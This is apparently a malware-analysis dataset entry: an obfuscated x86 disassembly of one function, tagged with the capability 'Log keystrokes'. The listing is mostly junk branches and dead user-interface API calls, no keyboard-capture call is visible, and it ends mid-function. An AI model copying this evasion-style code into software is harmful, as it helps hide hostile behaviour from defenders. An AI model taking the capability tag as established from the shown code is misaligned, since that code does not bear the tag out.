Function at 0x100098be
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xfd4
push esi
push edi
mov dword [ebp - 0x18], 0x5b9b55bb
mov dword [ebp - 0x3f4], 6
mov dword [ebp - 0x808], 0xc58d4ccf
mov dword [ebp - 0xb64], 1
mov dword [ebp - 0x18], 0
jmp 0x100098fe
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 6
jle 0x10009c72
mov dword [ebp - 0x58], 0xffffffff
mov dword [ebp - 0x280], 0xfffffffa
mov dword [ebp - 0xd0], 0xfffffff6
cmp dword [ebp - 0x18], 0
jne 0x10009a65
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0xd24], eax
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jne 0x10009943
xor eax, eax
inc eax
jne 0x10009955
mov eax, 0x6d8f
test eax, eax
jne 0x10009955
and dword [ebp - 0x9f8], 0
jmp 0x1000995f
mov dword [ebp - 0x9f8], 1
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x9f8], eax
jne 0x10009976
mov dword [ebp - 0x9b0], 1
jmp 0x1000997d
and dword [ebp - 0x9b0], 0
mov eax, dword [ebp - 0x9b0]
mov dword [ebp - 0x280], eax
mov eax, 0xffff
test eax, eax
je 0x100099b0
cmp dword [ebp - 0x280], 0
je 0x100099b0
mov eax, 0xfff7
test eax, eax
je 0x100099b0
mov dword [ebp - 0x9b8], 1
jmp 0x100099b7
and dword [ebp - 0x9b8], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x9b8], eax
jne 0x100099ce
mov dword [ebp - 0x9c0], 1
jmp 0x100099d5
and dword [ebp - 0x9c0], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x9c0], eax
jg 0x100099ec
mov dword [ebp - 0x9e4], 1
jmp 0x100099f3
and dword [ebp - 0x9e4], 0
mov eax, dword [ebp - 0x58]
add eax, dword [ebp - 0x9e4]
cmp eax, 1
jl 0x10009a0d
mov dword [ebp - 0x9ec], 1
jmp 0x10009a14
and dword [ebp - 0x9ec], 0
mov eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x9ec]
jne 0x10009a2b
mov dword [ebp - 0x9f4], 1
jmp 0x10009a32
and dword [ebp - 0x9f4], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x9f4], eax
jl 0x10009a49
mov dword [ebp - 0xa34], 1
jmp 0x10009a50
and dword [ebp - 0xa34], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jne 0x10009a65
and dword [ebp - 0x9fc], 0
jmp 0x10009a6f
mov dword [ebp - 0x9fc], 1
cmp dword [ebp - 0x9fc], 0xfe9a5a16
je 0x10009a87
mov dword [ebp - 0xa04], 1
jmp 0x10009a8e
and dword [ebp - 0xa04], 0
mov eax, dword [ebp - 0xd0]
cmp dword [ebp - 0xa04], eax
jl 0x10009aa8
mov dword [ebp - 0x3e4], 1
jmp 0x10009aaf
and dword [ebp - 0x3e4], 0
mov eax, dword [ebp - 0x3e4]
add eax, 0xf448
je 0x10009ad1
mov eax, 0x4486
test eax, eax
je 0x10009ad1
mov dword [ebp - 0x7e8], 1
jmp 0x10009ad8
and dword [ebp - 0x7e8], 0
mov eax, dword [ebp - 0xd0]
imul eax, dword [ebp - 0x7e8]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xc74], eax
mov eax, dword [ebp - 0x58]
dec eax
jne 0x10009b09
mov dword [ebp - 0x800], 1
jmp 0x10009b10
and dword [ebp - 0x800], 0
mov eax, dword [ebp - 0x280]
mov dword [ebp - 0xc7c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0
jne 0x10009b43
cmp dword [ebp - 0x18], 0
jne 0x10009b43
cmp dword [ebp - 0x18], 0
jne 0x10009b43
and dword [ebp - 0x3ec], 0
jmp 0x10009b4d
mov dword [ebp - 0x3ec], 1
cmp dword [ebp - 0xd0], 0xffffffff
jl 0x10009b62
mov dword [ebp - 0x7f0], 1
jmp 0x10009b69
and dword [ebp - 0x7f0], 0
mov eax, dword [ebp - 0x7f0]
sub eax, 0x25765fd0
cmp eax, 8
jle 0x10009b85
mov dword [ebp - 0xb5c], 1
jmp 0x10009b8c
and dword [ebp - 0xb5c], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xc84], eax
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0x3f4], eax
mov eax, dword [ebp - 0x3f4]
cmp dword [ebp - 0x58], eax
jg 0x10009bb8
mov dword [ebp - 0x7f8], 1
jmp 0x10009bbf
and dword [ebp - 0x7f8], 0
mov eax, dword [ebp - 0x280]
cmp dword [ebp - 0x7f8], eax
jl 0x10009bd9
mov dword [ebp - 0x3fc], 1
jmp 0x10009be0
and dword [ebp - 0x3fc], 0
cmp dword [ebp - 0x3fc], 0x833e
jg 0x10009bf8
mov dword [ebp - 0x404], 1
jmp 0x10009bff
and dword [ebp - 0x404], 0
mov eax, dword [ebp - 0x800]
imul eax, dword [ebp - 0x404]
cmp eax, dword [ebp - 0x808]
je 0x10009c26
cmp dword [ebp - 0x808], 0
je 0x10009c26
and dword [ebp - 0x40c], 0
jmp 0x10009c30
mov dword [ebp - 0x40c], 1
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x40c], eax
jg 0x10009c41
cmp dword [ebp - 0x18], 0
je 0x10009c56
mov eax, 0xb61f
test eax, eax
je 0x10009c56
mov dword [ebp - 0x810], 1
jmp 0x10009c5d
and dword [ebp - 0x810], 0
imul eax, dword [ebp - 0x810], 0x4e31
mov dword [ebp - 0xb64], eax
jmp 0x100098f7
mov dword [ebp - 0xb6c], 0xb58e
mov dword [ebp - 0xc8c], 0xa77b
mov dword [ebp - 4], 0
jmp 0x10009c96
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 3
jge 0x10009cac
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xefc], 0x59e57ad9
jmp 0x10009c8f
mov dword [ebp - 4], 0
jmp 0x10009cbc
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 3
jge 0x10009cd2
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xfb4], 0xffffffff
jmp 0x10009cb5
mov dword [ebp - 4], 0
jmp 0x10009ce2
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 4
jge 0x10009cf8
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xfc4], 0xffffffff
jmp 0x10009cdb
mov dword [ebp - 4], 0
jmp 0x10009d08
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 2
jge 0x10009d1e
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xbbc], 0xde360abe
jmp 0x10009d01
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xb6c]
mov dword [ebp + eax - 0xefc], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbbc]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xbbc], eax
mov dword [ebp - 0x14], 0x5b9b55bb
mov dword [ebp - 0x178], 0xf6af1124
mov dword [ebp - 0x178], 0
jmp 0x10009d75
mov eax, dword [ebp - 0x178]
dec eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 0xfffffffa
je 0x10009e6d
mov dword [ebp - 0x268], 0xd3f46721
mov dword [ebp - 0x1c8], 0
jmp 0x10009da5
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 3
jge 0x10009dc1
mov eax, dword [ebp - 0x1c8]
mov dword [ebp + eax*4 - 0xf14], 0xfa75c19c
jmp 0x10009d98
mov dword [ebp - 0x268], 2
jmp 0x10009dda
mov eax, dword [ebp - 0x268]
dec eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 0
jl 0x10009e31
mov dword [ebp - 0x134], 0xfffffffd
mov dword [ebp - 0x134], 2
jmp 0x10009e06
mov eax, dword [ebp - 0x134]
dec eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0
jl 0x10009e2f
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x178]
mov dword [ebp + eax*4 - 0xf14], ecx
cmp dword [ebp - 0x134], 0
je 0x10009e2d
jmp 0x10009e2f
jmp 0x10009df9
jmp 0x10009dcd
mov byte [ebp - 0x12f], 0
movzx eax, byte [ebp - 0x12f]
test eax, eax
je 0x10009e68
push 0x1cbd
push 0
push 0x16f2
push 0x11a5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
jmp 0x10009d68
mov dword [ebp - 0x850], 6
mov dword [ebp - 0x464], 0xc58d4ccf
mov dword [ebp - 0xb8c], 1
mov dword [ebp - 0xc94], 2
mov byte [ebp - 0xc3], 0
movzx eax, byte [ebp - 0xc3]
test eax, eax
je 0x10009eaf
push 0
call dword [sym.imp.GDI32.dll_CreatePalette]
mov byte [ebp - 0xc5], 0
movzx eax, byte [ebp - 0xc5]
test eax, eax
je 0x10009ed3
push 1
push 0x1fec
push 0x1c7b
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov dword [ebp - 0x14], 0
jmp 0x10009ee3
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 6
jle 0x1000a3bb
mov dword [ebp - 0x414], 0xab659d56
mov dword [ebp - 0x1d0], 0
jmp 0x10009f10
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 1
jge 0x10009f2c
mov eax, dword [ebp - 0x1d0]
mov dword [ebp + eax*4 - 0xc9c], 0x6834504c
jmp 0x10009f03
mov byte [ebp - 0xc7], 0
movzx eax, byte [ebp - 0xc7]
test eax, eax
je 0x10009f4c
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
mov eax, dword [ebp - 0x414]
inc eax
mov dword [ebp - 0x414], eax
mov dword [ebp - 0x50], 0xffffffff
mov dword [ebp - 0x270], 0xfffffffa
mov dword [ebp - 0xd8], 0xfffffff6
cmp dword [ebp - 0x14], 0
jne 0x1000a0b6
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xca4], eax
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
jne 0x10009f94
xor eax, eax
inc eax
jne 0x10009fa6
mov eax, 0x6d8f
test eax, eax
jne 0x10009fa6
and dword [ebp - 0x818], 0
jmp 0x10009fb0
mov dword [ebp - 0x818], 1
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x818], eax
jne 0x10009fc7
mov dword [ebp - 0x41c], 1
jmp 0x10009fce
and dword [ebp - 0x41c], 0
mov eax, dword [ebp - 0x41c]
mov dword [ebp - 0x270], eax
mov eax, 0xffff
test eax, eax
je 0x1000a001
cmp dword [ebp - 0x270], 0
je 0x1000a001
mov eax, 0xfff7
test eax, eax
je 0x1000a001
mov dword [ebp - 0x820], 1
jmp 0x1000a008
and dword [ebp - 0x820], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x820], eax
jne 0x1000a01f
mov dword [ebp - 0x424], 1
jmp 0x1000a026
and dword [ebp - 0x424], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x424], eax
jg 0x1000a03d
mov dword [ebp - 0x828], 1
jmp 0x1000a044
and dword [ebp - 0x828], 0
mov eax, dword [ebp - 0x50]
add eax, dword [ebp - 0x828]
cmp eax, 1
jl 0x1000a05e
mov dword [ebp - 0x42c], 1
jmp 0x1000a065
and dword [ebp - 0x42c], 0
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x42c]
jne 0x1000a07c
mov dword [ebp - 0x830], 1
jmp 0x1000a083
and dword [ebp - 0x830], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x830], eax
jl 0x1000a09a
mov dword [ebp - 0xb74], 1
jmp 0x1000a0a1
and dword [ebp - 0xb74], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jne 0x1000a0b6
and dword [ebp - 0x434], 0
jmp 0x1000a0c0
mov dword [ebp - 0x434], 1
cmp dword [ebp - 0x434], 0xfe9a5a16
je 0x1000a0d8
mov dword [ebp - 0x838], 1
jmp 0x1000a0df
and dword [ebp - 0x838], 0
mov eax, dword [ebp - 0xd8]
cmp dword [ebp - 0x838], eax
jl 0x1000a0f9
mov dword [ebp - 0x43c], 1
jmp 0x1000a100
and dword [ebp - 0x43c], 0
mov eax, dword [ebp - 0x43c]
add eax, 0xf448
je 0x1000a122
mov eax, 0x4486
test eax, eax
je 0x1000a122
mov dword [ebp - 0x840], 1
jmp 0x1000a129
and dword [ebp - 0x840], 0
mov eax, dword [ebp - 0xd8]
imul eax, dword [ebp - 0x840]
sub eax, dword [ebp - 0x14]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0x94], 0
jmp 0x1000a158
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 1
jge 0x1000a174
mov eax, dword [ebp - 0x94]
mov dword [ebp + eax*4 - 0xb7c], 0x57fd
jmp 0x1000a14b
mov dword [ebp - 0x94], 0
jmp 0x1000a18d
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 3
jge 0x1000a1a9
mov eax, dword [ebp - 0x94]
mov dword [ebp + eax*4 - 0xa24], 0xf5c184c5
jmp 0x1000a180
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xa24], 0
jmp 0x1000a1d7
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa24]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xa24], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa24], 1
jge 0x1000a201
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa24]
mov dword [ebp + eax*4 - 0xb7c], 0
jmp 0x1000a1bc
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xa24], 3
jge 0x1000a21c
mov dword [ebp - 0x444], 1
jmp 0x1000a223
and dword [ebp - 0x444], 0
mov eax, dword [ebp - 0x444]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xa24], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xcac], eax
mov eax, dword [ebp - 0x50]
dec eax
jne 0x1000a252
mov dword [ebp - 0x45c], 1
jmp 0x1000a259
and dword [ebp - 0x45c], 0
mov eax, dword [ebp - 0x270]
mov dword [ebp - 0xcb4], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0
jne 0x1000a28c
cmp dword [ebp - 0x14], 0
jne 0x1000a28c
cmp dword [ebp - 0x14], 0
jne 0x1000a28c
and dword [ebp - 0x848], 0
jmp 0x1000a296
mov dword [ebp - 0x848], 1
cmp dword [ebp - 0xd8], 0xffffffff
jl 0x1000a2ab
mov dword [ebp - 0x44c], 1
jmp 0x1000a2b2
and dword [ebp - 0x44c], 0
mov eax, dword [ebp - 0x44c]
sub eax, 0x25765fd0
cmp eax, 8
jle 0x1000a2ce
mov dword [ebp - 0xb84], 1
jmp 0x1000a2d5
and dword [ebp - 0xb84], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xcbc], eax
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x850], eax
mov eax, dword [ebp - 0x850]
cmp dword [ebp - 0x50], eax
jg 0x1000a301
mov dword [ebp - 0x454], 1
jmp 0x1000a308
and dword [ebp - 0x454], 0
mov eax, dword [ebp - 0x270]
cmp dword [ebp - 0x454], eax
jl 0x1000a322
mov dword [ebp - 0x858], 1
jmp 0x1000a329
and dword [ebp - 0x858], 0
cmp dword [ebp - 0x858], 0x833e
jg 0x1000a341
mov dword [ebp - 0x860], 1
jmp 0x1000a348
and dword [ebp - 0x860], 0
mov eax, dword [ebp - 0x45c]
imul eax, dword [ebp - 0x860]
cmp eax, dword [ebp - 0x464]
je 0x1000a36f
cmp dword [ebp - 0x464], 0
je 0x1000a36f
and dword [ebp - 0x868], 0
jmp 0x1000a379
mov dword [ebp - 0x868], 1
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x868], eax
jg 0x1000a38a
cmp dword [ebp - 0x14], 0
je 0x1000a39f
mov eax, 0xb61f
test eax, eax
je 0x1000a39f
mov dword [ebp - 0x46c], 1
jmp 0x1000a3a6
and dword [ebp - 0x46c], 0
imul eax, dword [ebp - 0x46c], 0x4e31
mov dword [ebp - 0xb8c], eax
jmp 0x10009edc
mov dword [ebp - 0x1d8], 0
jmp 0x1000a3d4
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 1
jge 0x1000a3f0
mov eax, dword [ebp - 0x1d8]
mov dword [ebp + eax*4 - 0x278], 7
jmp 0x1000a3c7
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x278], 0
jmp 0x1000a41e
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x278]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x278], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x278], 0xfffffff8
jl 0x1000a462
mov byte [ebp - 0xc9], 0
movzx eax, byte [ebp - 0xc9]
test eax, eax
je 0x1000a460
push 0xc8a
push 0x1f9b
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawEdge]
jmp 0x1000a403
mov dword [ebp - 0x28], 0xe17c
mov dword [ebp - 0x54], 0xffffffff
mov dword [ebp - 0x898], 0x4fc37f20
mov dword [ebp - 0x4a4], 0xffffffff
mov dword [ebp - 0xbac], 5
mov dword [ebp - 0xbb4], 0x19b20e95
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0xcc4], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0xccc], eax
mov eax, 0x9986
sub eax, dword [ebp - 0x28]
add eax, 0xbdeb
je 0x1000a4cb
cmp dword [ebp - 0x28], 0
je 0x1000a4cb
mov dword [ebp - 0x870], 1
jmp 0x1000a4d2
and dword [ebp - 0x870], 0
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x870]
cmp eax, 0xa22e
jg 0x1000a4ef
mov dword [ebp - 0x474], 1
jmp 0x1000a4f6
and dword [ebp - 0x474], 0
mov eax, dword [ebp - 0x474]
add eax, 0xfff8
imul eax, eax, 0x2cc9
cmp eax, dword [ebp - 0x28]
jl 0x1000a518
mov dword [ebp - 0x878], 1
jmp 0x1000a51f
and dword [ebp - 0x878], 0
cmp dword [ebp - 0x878], 0xc5764361
jb 0x1000a537
mov dword [ebp - 0xb94], 1
jmp 0x1000a53e
and dword [ebp - 0xb94], 0
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0xcd4], eax
cmp dword [ebp - 0x28], 0xc3a0
jg 0x1000a55c
mov dword [ebp - 0x47c], 1
jmp 0x1000a563
and dword [ebp - 0x47c], 0
cmp dword [ebp - 0x47c], 0xadfb1af9
jb 0x1000a57e
cmp dword [ebp - 0x28], 0
jne 0x1000a57e
and dword [ebp - 0x880], 0
jmp 0x1000a588
mov dword [ebp - 0x880], 1
cmp dword [ebp - 0x880], 1
jne 0x1000a59d
mov dword [ebp - 0x484], 1
jmp 0x1000a5a4
and dword [ebp - 0x484], 0
mov eax, dword [ebp - 0x484]
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
je 0x1000a613
mov dword [ebp - 0x888], 0x6a5b5cf0
mov dword [ebp - 0x1e0], 0
jmp 0x1000a5d6
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 2
jge 0x1000a5f2
mov eax, dword [ebp - 0x1e0]
mov dword [ebp + eax*4 - 0xce8], 0x2079
jmp 0x1000a5c9
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xce8]
mov dword [ebp - 0x888], eax
mov eax, dword [ebp - 0x888]
mov dword [ebp - 0x54], eax
jmp 0x1000a91f
mov dword [ebp - 0xbfc], 0x6cdee94c
mov dword [ebp - 0xbf8], 0x6cdee94c
mov dword [ebp - 0xbf4], 0x6cdee94c
mov dword [ebp - 0xbf0], 0x6cdee94c
mov dword [ebp - 0xadc], 0xa9b924e1
mov dword [ebp - 0x28c], 0
jmp 0x1000a65e
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 3
jge 0x1000a67a
mov eax, dword [ebp - 0x28c]
mov dword [ebp + eax*4 - 0xed8], 0x5f053d0c
jmp 0x1000a651
mov byte [ebp - 0x111], 0
movzx eax, byte [ebp - 0x111]
test eax, eax
je 0x1000a6a2
push 0
push 0
push 0x1d28
push 0x1095
push 0
call dword [sym.imp.USER32.dll_ModifyMenuW]
mov dword [ebp - 0x54], 0xffffffec
jmp 0x1000a6b2
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0xfffffffa
jg 0x1000a91f
mov dword [ebp - 0x494], 0x4b6d700d
mov dword [ebp - 0x160], 0xffffffff
mov dword [ebp - 0x1e8], 0
jmp 0x1000a6e9
mov eax, dword [ebp - 0x1e8]
inc eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 1
jge 0x1000a705
mov eax, dword [ebp - 0x1e8]
mov dword [ebp + eax*4 - 0xba4], 0xfffffffb
jmp 0x1000a6dc
mov dword [ebp - 0x28], 0xc
jmp 0x1000a715
mov eax, dword [ebp - 0x28]
dec eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xfffffff2
jle 0x1000a870
mov dword [ebp - 0x1bc], 0x6e3268dd
mov dword [ebp - 0x1bc], 0
jmp 0x1000a742
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 3
jg 0x1000a76e
mov byte [ebp - 0xbc], 0
movzx eax, byte [ebp - 0xbc]
test eax, eax
je 0x1000a76c
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndDialog]
jmp 0x1000a735
cmp dword [ebp - 0x1bc], 0
jne 0x1000a839
imul eax, dword [ebp - 0x54], 0xb82
sub eax, 4
cmp eax, 1
jge 0x1000a796
mov dword [ebp - 0x48c], 1
jmp 0x1000a79d
and dword [ebp - 0x48c], 0
cmp dword [ebp - 0x48c], 0xffffffff
jle 0x1000a7b8
mov eax, 0x3adcfec7
test eax, eax
jne 0x1000a7b8
and dword [ebp - 0x890], 0
jmp 0x1000a7c2
mov dword [ebp - 0x890], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xbfc]
cmp eax, dword [ebp - 0x890]
jle 0x1000a7e3
mov dword [ebp - 0xb9c], 1
jmp 0x1000a7ea
and dword [ebp - 0xb9c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xba4]
mov dword [ebp - 0x494], eax
mov eax, dword [ebp - 0x494]
mov dword [ebp - 0x898], eax
mov eax, dword [ebp - 0x898]
mov dword [ebp - 0xcdc], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0
jne 0x1000a839
cmp dword [ebp - 0x160], 0
jne 0x1000a839
and dword [ebp - 0x49c], 0
jmp 0x1000a843
mov dword [ebp - 0x49c], 1
cmp dword [ebp - 0x49c], 0xfffffffb
jne 0x1000a858
mov dword [ebp - 0x8a0], 1
jmp 0x1000a85f
and dword [ebp - 0x8a0], 0
mov eax, dword [ebp - 0x8a0]
mov dword [ebp - 0x4a4], eax
jmp 0x1000a70e
cmp dword [ebp - 0xbac], 0
je 0x1000a88e
cmp dword [ebp - 0xbb4], 0
je 0x1000a88e
mov dword [ebp - 0xb30], 1
jmp 0x1000a895
and dword [ebp - 0xb30], 0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xda0], eax
cmp dword [ebp - 0x4a4], 0xffff
ja 0x1000a8b6
mov dword [ebp - 0x8a8], 1
jmp 0x1000a8bd
and dword [ebp - 0x8a8], 0
mov eax, dword [ebp - 0x8a8]
sub eax, dword [ebp - 0x160]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0xbfc]
jle 0x1000a8e4
mov dword [ebp - 0x2f4], 1
jmp 0x1000a8eb
and dword [ebp - 0x2f4], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x2f4]
mov dword [ebp + eax - 0xed8], ecx
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x2f4]
mov dword [ebp - 0x160], eax
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0xadc], eax
jmp 0x1000a6ab
mov byte [ebp - 0x12b], 0
movzx eax, byte [ebp - 0x12b]
test eax, eax
je 0x1000a93b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov dword [ebp - 0x1b8], 0xcb457102
mov dword [ebp - 0xda8], 1
mov dword [ebp - 0xdb0], 0x42b48371
mov dword [ebp - 0xdb8], 0x9acf2579
mov dword [ebp - 0xdc0], 0xa40f2fda
mov dword [ebp - 0xdf8], 0
mov dword [ebp - 8], 0
jmp 0x1000a987
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 3
jge 0x1000a99d
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0xea8], 0xb3c692be
jmp 0x1000a980
mov dword [ebp - 8], 0
jmp 0x1000a9ad
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 1
jge 0x1000a9c3
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0xe00], 0xffffffff
jmp 0x1000a9a6
mov dword [ebp - 8], 0
jmp 0x1000a9d3
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 1
jge 0x1000a9e9
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0xe08], 9
jmp 0x1000a9cc
mov dword [ebp - 8], 0
jmp 0x1000a9f9
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 2
jge 0x1000aa0f
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0xbec], 0xffff
jmp 0x1000a9f2
mov dword [ebp - 0x1b8], 0
jmp 0x1000aa28
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 2
jg 0x1000ab17
mov dword [ebp - 0xe10], 4
mov dword [ebp - 0xe18], 0x2eaa29c1
mov dword [ebp - 0xe20], 0xfffffffe
mov dword [ebp - 0xe28], 0x585ed065
mov dword [ebp - 0xe30], 0x81479b69
mov dword [ebp - 0xe38], 0
mov dword [ebp - 0xe40], 0xa0c8d467
mov dword [ebp - 0xe48], 0xffffffff
mov dword [ebp - 0xdac], 0xc00eadd5
mov dword [ebp - 0xc40], 0xffffffff
mov dword [ebp - 0x74], 0
jmp 0x1000aaa9
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 3
jge 0x1000aabf
mov eax, dword [ebp - 0x74]
mov dword [ebp + eax*4 - 0xf90], 0xfffffff6
jmp 0x1000aaa2
mov dword [ebp - 0x74], 0
jmp 0x1000aacf
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 2
jge 0x1000aae5
mov eax, dword [ebp - 0x74]
mov dword [ebp + eax*4 - 0xf1c], 0x8770ce40
jmp 0x1000aac8
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xbec]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xbec], eax
mov eax, dword [ebp - 0x1b8]
cmp dword [ebp + eax*4 - 0xea8], 0
je 0x1000ab12
jmp 0x1000ab17
jmp 0x1000aa1b
mov dword [ebp - 0x7c], 0xdc4b4e12
mov dword [ebp - 0xb4], 0xae77ab39
mov dword [ebp - 0xa40], 0xdae9
mov dword [ebp - 0xa48], 0xff5452fa
mov dword [ebp - 0x294], 0
jmp 0x1000ab55
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 4
jge 0x1000ab71
mov eax, dword [ebp - 0x294]
mov dword [ebp + eax*4 - 0xf54], 0xfffffffa
jmp 0x1000ab48
mov eax, dword [ebp - 0x7c]
add eax, dword [ebp - 0x7c]
je 0x1000aca3
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0
jne 0x1000ac97
mov eax, 0xfff6
test eax, eax
je 0x1000abd7
mov eax, dword [ebp - 0xb4]
